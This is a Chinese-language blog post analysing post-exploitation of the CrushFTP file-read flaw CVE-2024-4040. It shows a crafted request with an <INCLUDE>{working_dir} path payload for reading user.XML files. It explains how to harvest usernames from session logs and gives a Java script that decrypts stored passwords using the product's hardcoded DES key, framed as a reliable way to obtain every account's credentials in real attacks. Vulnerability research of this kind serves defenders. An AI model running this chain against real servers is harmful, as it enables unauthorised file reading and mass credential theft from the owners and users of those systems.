CrushFTP后利用提权分析(CVE-2024-4040)
写在前面
这个漏洞的利用最终还是被曝光了,这里也不做重复的分析,具体可以点击访问CVE-2024-4040了解漏洞的详情,在这里作者在分析利用的时候仍然使用的sessions.obj
文件去读取历史cookie再做提权的尝试,但在最早的一篇文章当中我也曾提到过,只有在程序退出时才会生成这样一个文件,它充当了服务器的一个缓存功能(CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)),因此它的利用相对来说更为玄学,一切看命,在实战中我们往往更需要一些更稳定直接的方式来获取admin账户的密码。
后利用
获取用户配置文件路径
在之前我提到过,这个系统对于用户配置的保存是在XML文件中做了保存,如下所示
它的相对路径在/users/MainUsers
下
另外在漏洞作者的分析当中,提到可以使用{working_dir}
来获取项目运行的绝对路径
123456 |
GET /WebInterface/function/?command=zip&c2f=rsC2&path={working_dir}&names=/bbb Host: 127.0.0.1:8080Cookie: CrushAuth=1714046327401_GY8KgRYG9W7GRoulsigqE3V2eKrsC2; Content-Type: application/x-www-form-urlencoded |
因此结合以上两点我们很容易能得到具体的用户的配置文件
path=<INCLUDE>{working_dir}users/MainUsers/username/user.XML</INCLUDE>
当然其实使用相对路径也可以path=<INCLUDE>./users/MainUsers/username/user.XML</INCLUDE>
因此我们只需要知道admin
用户的用户名即可得到相对应的配置文件
同时通过配置文件的内容,我们可以看到密码也是被加密存储在了这个文件当中
123456789101112131415161718 |
<userfile type="properties"><real_path_to_user>./users/MainUsers/y4tacker/</real_path_to_user><updated_time>1713866209446</updated_time><created_time>1713794508983</created_time><root_dir>/</root_dir><user_name>y4tacker</user_name><max_logins>0</max_logins><version>1.0</version><last_logins>04/25/2024 07:33:47 PM,04/25/2024 11:03:37 AM,04/25/2024 10:11:22 AM,04/25/2024 09:55:49 AM,04/24/2024 12:34:08 AM,04/24/2024 12:26:34 AM,04/23/2024 11:39:33 PM,04/23/2024 11:15:06 PM,04/23/2024 05:57:00 PM,04/23/2024 10:40:08 AM</last_logins><updated_by_username>crushadmin</updated_by_username><password>71W4Y3ZzpxXfeaU4fehf/w==</password><created_by_username>crushadmin</created_by_username><userVersion>6</userVersion><updated_by_email></updated_by_email><configure_reverse_share_events>true</configure_reverse_share_events><username>y4tacker</username></userfile> |
这时候又会面临另一个问题,尽管我们知道存在一个名为crushadmin
的管理员,但是如果这个账号被删了改成了其他的名字我们又该如何下手呢?
柳暗花明又一村
解决方法其实也很简单,这个系统会将用户的信息保存到logs/session_logs
文件夹下
查看目录我们不难发现,命名方式也非常有规律24(年)04(月)25(日)20(时)
再往下一级目录看,命名方式固定session_HTTP_num.log
再来看看具体内容,不难发现在日志当中,详细记录了我们的用户名以及一些操作信息,这时候用户名的问题也就迎刃而解
破解加密的密码
我们以y4tacker
用户为例,这里加密的密码为71W4Y3ZzpxXfeaU4fehf/w==
123456789101112131415161718 |
<userfile type="properties"><real_path_to_user>./users/MainUsers/y4tacker/</real_path_to_user><updated_time>1713866209446</updated_time><created_time>1713794508983</created_time><root_dir>/</root_dir><user_name>y4tacker</user_name><max_logins>0</max_logins><version>1.0</version><last_logins>04/25/2024 07:33:47 PM,04/25/2024 11:03:37 AM,04/25/2024 10:11:22 AM,04/25/2024 09:55:49 AM,04/24/2024 12:34:08 AM,04/24/2024 12:26:34 AM,04/23/2024 11:39:33 PM,04/23/2024 11:15:06 PM,04/23/2024 05:57:00 PM,04/23/2024 10:40:08 AM</last_logins><updated_by_username>crushadmin</updated_by_username><password>71W4Y3ZzpxXfeaU4fehf/w==</password><created_by_username>crushadmin</created_by_username><userVersion>6</userVersion><updated_by_email></updated_by_email><configure_reverse_share_events>true</configure_reverse_share_events><username>y4tacker</username></userfile> |
接下来我们只需要去看看系统是如何处理解密即可
通过查看登录流程对这坨屎山系统的不断查找,最终不难发现对密码的解密处理在crushftp.handlers.Common#decode_pass
123456789101112131415161718192021222324252627282930313233343536373839404142 |
# 以下仅仅列出关键代码public String decode_pass(String raw) { DesEncrypter crypt = new DesEncrypter(new String(com.crushftp.client.Common.encryption_password), base64Decode); String s = crypt.decrypt(raw); if (s == null) { crypt = new DesEncrypter(new String(com.crushftp.client.Common.encryption_password), false); s = crypt.decrypt(raw); } if (s == null) { s = decode_pass3(raw); } return s;}........DesEncrypter.class........public DesEncrypter(String key, boolean base64) { try { ServerStatus var10005 = ServerStatus.thisObj; key = Common.getHash(key, base64, "SHA", "", "", ServerStatus.BG("sha3_keccak")); this.doInit(key); } catch (Exception var4) { }}public void doInit(String key) throws Exception { while((float)key.length() / 8.0F != (float)(key.length() / 8)) { key = key + "Z"; } DESKeySpec desKeySpec = new DESKeySpec(key.getBytes()); SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES"); SecretKey secretKey = keyFactory.generateSecret(desKeySpec); this.ecipher = Cipher.getInstance("DES"); this.dcipher = Cipher.getInstance("DES"); this.ecipher.init(1, secretKey); this.dcipher.init(2, secretKey);} |
我们可以看到这个com.crushftp.client.Common.encryption_password
也是硬编码存储在程序当中,因此我们能很容易计算出这个初始化的key
简单编写一个解密脚本
123456789 |
String key = getHash("crushftp", true, "SHA", "", "", false);Cipher dcipher = Cipher.getInstance("DES");DESKeySpec desKeySpec = new DESKeySpec(key.getBytes());SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");SecretKey secretKey = keyFactory.generateSecret(desKeySpec);dcipher.init(2,secretKey);byte[] dec = Base64.decode("71W4Y3ZzpxXfeaU4fehf/w==");byte[] utf8 = dcipher.doFinal(dec);System.out.println(new String(utf8)); |
运行后成功得到密码为y4tacker
因此我们便能通过遍历日志提取所有的用户名,再读取解密密码即可获得所有用户的用户名密码登录
- source:y4tacker
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论